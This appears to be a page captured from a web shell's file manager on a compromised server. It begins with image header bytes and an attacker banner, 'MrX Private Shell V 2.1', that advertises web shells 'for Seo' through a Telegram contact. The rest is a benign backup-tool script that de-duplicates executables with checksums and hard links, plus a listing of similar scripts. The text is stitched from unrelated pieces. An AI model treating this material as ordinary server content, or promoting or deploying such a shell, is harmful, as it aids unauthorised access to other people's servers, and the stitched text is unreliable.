����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# De-duplicates executables to minimize the file system's footprint
has_binary sha256sum || return 0
local deduplication_script="$TMP_DIR/deduplicate-files.sh"
# Calculate checksums of executables in the root file system to identify files with identical content.
# Then use hard links to cross-link such files.
find "$ROOTFS_DIR" -type f -executable -exec sha256sum --binary '{}' + | sort |
awk -v path_prefix="$ROOTFS_DIR" '
BEGIN {
path_prefix_length = length(path_prefix);
}
{
hash = $1;
sub(/^[^ ]+ ./, "");
path = $0;
if (hash in executables) {
if (substr(path, 1, path_prefix_length) == path_prefix) {
printf("Log '"'"'De-duplicating \"%s\" -> \"%s\"'"'"'\n", executables[hash], path);
printf("ln --force '"'"'%s'"'"' '"'"'%s'"'"' || Error '"'"'De-duplication error'"'"'\n", executables[hash], path);
} else {
printf("LogUserOutput '"'"'Cannot de-duplicate \"%s\" -> \"%s\"'"'"'\n", executables[hash], path);
}
} else {
executables[hash] = path;
}
}
' > "$deduplication_script"
source "$deduplication_script"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 095_exclude_non_essential_files.sh | File | 1.77 KB | 0644 |
|
| 105_reinclude_essential_files.sh | File | 288 B | 0644 |
|
| 106_remove_files_copied_unconditionally.sh | File | 610 B | 0644 |
|
| 391_list_executable_dependencies.sh | File | 736 B | 0644 |
|
| 810_deduplicate_files.sh | File | 1.16 KB | 0644 |
|
| 820_store_settings.sh | File | 865 B | 0644 |
|